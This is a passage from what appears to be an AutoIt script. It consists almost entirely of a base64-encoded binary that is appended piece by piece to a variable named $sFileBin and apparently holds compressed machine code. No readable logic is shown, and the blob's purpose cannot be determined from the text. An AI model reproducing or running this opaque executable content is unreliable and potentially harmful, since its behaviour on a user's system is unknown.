wGQUQGEg7hRACAPhcFhY2awwQAWAv+IFwLQA58ryhXuAYAMBAccAnViZwoRMwRKCHVA8wNrAR8sdSk/C+ICEb4bXsMAjUkALRkAEENVMABlMACEMACmMADINTAA3zAA9zAA8RRR2TLuMFkIU1BKMGgU2RQQuwIWnlFE2RGLGoZyAB/Ah6EWwXwOMCvBMZ7yQZIBAZ7pMUeLhlIAjhE3NQKSRElyAQGe0UmLhlIAjk+hNjUCMkdyAQGeEUaLEoZRADuG0TZ8MosCjhFIi9Ei0w+2QML32BvAJeHY0SDpM8GJhpEBI8Mmx/ICAQCJhnFKVYsAxujc/f//D7YMhg/CBkEBi+iL0IDB7QMj0wuWcQsQI+sL6YBkDDPAECPVOIZxUA+UwASF0LAPDHQ3ipYJEViLrjGD9sIQdAgMi5YBFdlElQAA6woPttKD4g+I2UTVYXYM2YYhWQTYTJAAH4vQ0epgi/jB7wRBBoEPI4j7C/lEBtc4hiFXAl1VBgh0OYqWERVRBr5VBgtUBgSX61IJRAYE12B2EHAGCIzZhiFgcAYI2RqADGDqAsHoBWEGsRMjAMMLwT67ACPQM8A4hmMBAAAAXw+UwFuFQNB0PoqGEgBwqEAQdBGLjlwASIsElgQAFNkEiusPBIuOASgPtsCD4AAP2QTBi1QkDIDZXCQI2YaAACwE2EwAEhpZwggAAswHAIPsJNHoVQS9AAAAiUQkJIsCxQAKBA+EzwUAAABTVo1dAesCgDPt2e6Lt4QAQCCAviwFAgBpVCQKGAADEABZFA+FU4EBGH4gAA+E3wBDiIuHmAAPO4eQAYYUjbwBEY8BOouRUAAAAQBS6P02AgAAacAgAwAAATECKQGHnAEdAgWDxBAEO4eUAAh+dYsKhwI0iAE0UeioOo0LGokEGoERAZhUgBENhBeQgQUBI1AYcjEgi0gciYgIDohYAYAFO810GIuQXBmBRf/RA02AF4iBjRWBE5eCXZeCXYxE/yj//4uCYykCOumgsQBmgYeIAAWBRIuCBAiLj4wBGcEPhoIRgA4rwYmDCk4oVlD/0QGeAj6GhEmJBK6EgT9GGHJai4KGAUWLVhyJlgEOMDvFdEeA5AF1/9AEiIYBReszOa4wSYC1dC6VOHYURhuWEUEKVv/SABkBnxwTQkZCAY8oQgp8DiswwTGfOMJNwQUBn6YgwghCAY8syAg8wggxwQUBnyTCCEIBjzCNyAhAwgjBBQGfGMIIEUEBO4c0QAF8LotEj0jBBMEiw8Cg9yDYG8AlAAAM0emGM8AqQQYjw4mvwQsIiYdEwQnH6A36wP//D7aHD8IZwgQA0MHqA4vwI9OQI/MLtwEtC9FApAAcM8Aj1jiHYUFBZpTAhdCLgAR0UDeKlxBBDLfBvPZAwhB0C4uXwcPZAASW6wkPttKDiuLAwNZBqdmHeMO/AhRBA4vQ0eqL8IDB7gQj0wuXwTxVgBrxBxliDRkR' $sFileBin &= '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' $sFileBin &= '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' $sFileBin &= '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' $sFileBin &= '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